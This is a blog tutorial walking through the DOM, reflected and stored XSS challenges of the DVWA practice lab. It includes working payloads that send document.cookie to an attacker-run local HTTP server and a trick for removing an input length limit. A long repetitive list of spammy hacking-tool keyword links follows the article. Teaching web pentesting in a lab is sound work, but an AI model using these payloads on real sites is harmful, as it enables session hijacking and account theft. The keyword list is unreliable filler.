Thursday, June 1, 2023

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server 
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script> 
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie /> 
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea> 
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea> 
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie /> 
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.


  1. DOM-based vulnerabilities:
  2. DOM-based XSS:
  3. Document Object Model:
  4. Payload All the Things:
  5. Cross Site Scripting (XSS):

More info

  1. Computer Hacker
  2. Pentest Tools For Mac
  3. Hacking App
  4. Hacking Tools Windows
  5. Hackrf Tools
  6. Hacker Search Tools
  7. Pentest Tools Review
  8. Hacking Tools Download
  9. Hacker Techniques Tools And Incident Handling
  10. Hackers Toolbox
  11. Hack Tools Mac
  12. Pentest Tools List
  13. Hacker Tools For Ios
  14. Hacking Tools For Windows 7
  15. Hacker Tools List
  16. Hacking Tools And Software
  17. Hacker Tools Windows
  18. Hacking Tools Windows
  19. Nsa Hack Tools Download
  20. Pentest Tools Online
  21. Pentest Tools
  22. Best Pentesting Tools 2018
  23. World No 1 Hacker Software
  24. Free Pentest Tools For Windows
  25. Pentest Tools Online
  26. Hacker Tools Free
  27. Hacker Techniques Tools And Incident Handling
  28. Pentest Tools Kali Linux
  29. Android Hack Tools Github
  30. Pentest Tools For Ubuntu
  31. Hacking Apps
  32. Hacking Tools 2020
  33. Nsa Hack Tools
  34. Hacking Apps
  35. Beginner Hacker Tools
  36. Pentest Tools Linux
  37. Hack Tools Github
  38. Hack Tools For Pc
  39. New Hack Tools
  40. Hacker
  41. Pentest Tools For Mac
  42. Hacker Tools
  43. Hack Tools Github
  44. Hack Tools Mac
  45. Hacking Tools For Beginners
  46. Hacker Tool Kit
  47. Pentest Automation Tools
  48. Hacking Tools Kit
  49. Hackrf Tools
  50. Hacker Hardware Tools
  51. Hacking Tools For Windows Free Download
  52. Pentest Box Tools Download
  53. Pentest Tools For Android
  54. Pentest Tools For Mac
  55. Pentest Tools For Windows
  56. Hackers Toolbox
  57. Hacking App
  58. Pentest Tools Windows
  59. Nsa Hack Tools
  60. Hack Tool Apk No Root
  61. Hacking Tools Software
  62. Hack Tools For Windows
  63. Hacker Tools 2019
  64. Pentest Tools Nmap
  65. Pentest Tools Download
  66. Hacking Tools For Games
  67. Physical Pentest Tools
  68. Pentest Tools List
  69. Hacker Tools List
  70. Easy Hack Tools
  71. Pentest Tools For Windows
  72. Hack Tool Apk
  73. Hacker Tools List
  74. Ethical Hacker Tools
  75. Hack Tools Github
  76. Hack Tools
  77. Pentest Tools Tcp Port Scanner
  78. Hacking Tools For Beginners
  79. Hack Tool Apk
  80. Hak5 Tools
  81. How To Hack
  82. Hacker Tools Linux
  83. How To Make Hacking Tools
  84. Pentest Tools Port Scanner
  85. Pentest Tools Website
  86. Hacking Tools Kit
  87. Wifi Hacker Tools For Windows
  88. Hacking Tools And Software
  89. Hacker Tools
  90. Hack Tools For Pc
  91. Hacker Tools Online
  92. Hacks And Tools
  93. Pentest Tools Nmap
  94. Hacker Security Tools
  95. Pentest Tools Framework
  96. Pentest Tools Kali Linux
  97. Pentest Tools Apk
  98. Hacker Tools 2020
  99. Hacker Tools Windows
  100. Beginner Hacker Tools
  101. Hack Tools Github
  102. Physical Pentest Tools
  103. Termux Hacking Tools 2019
  104. Hacking Tools For Windows Free Download
  105. Hacking Tools Download
  106. Hacking Tools Pc
  107. Pentest Box Tools Download
  108. Nsa Hack Tools
  109. Pentest Tools Android
  110. Hacker Tools Windows
  111. Easy Hack Tools
  112. Pentest Tools Tcp Port Scanner
  113. Pentest Tools List
  114. Pentest Tools Open Source
  115. Hacker
  116. Hacking Tools Windows 10
  117. Github Hacking Tools
  118. Pentest Automation Tools
  119. Hacker Hardware Tools
  120. Pentest Tools Subdomain
  121. Pentest Tools Kali Linux
  122. Hack Tools Pc
  123. Computer Hacker
  124. Pentest Tools
  125. Hacker Tools Apk Download
  126. Hack Tools Pc
  127. Easy Hack Tools
  128. Tools For Hacker
  129. Pentest Tools Tcp Port Scanner
  130. Hack Tools For Windows
  131. Hacking Tools Windows
  132. Pentest Reporting Tools
  133. Pentest Tools Linux
  134. Hack Tools For Ubuntu
  135. Hack Tools Pc
  136. Hacker Tool Kit
  137. Best Hacking Tools 2020
  138. Pentest Tools For Mac
  139. Wifi Hacker Tools For Windows
  140. Hack Tools
  141. Hacking Tools For Windows
  142. Tools For Hacker
  143. Hack App
  144. Hacker Tools Hardware
  145. Pentest Tools Open Source
  146. Wifi Hacker Tools For Windows
  147. Hackers Toolbox
  148. Bluetooth Hacking Tools Kali
  149. Pentest Tools Apk
  150. Blackhat Hacker Tools
  151. Hacking Tools Name
  152. Hacker Tool Kit
  153. Tools 4 Hack
  154. Hacker Tools Apk
  155. Black Hat Hacker Tools
  156. Hacker Tools For Mac
  157. Pentest Box Tools Download
  158. Nsa Hack Tools Download
  159. Hacker Tools Hardware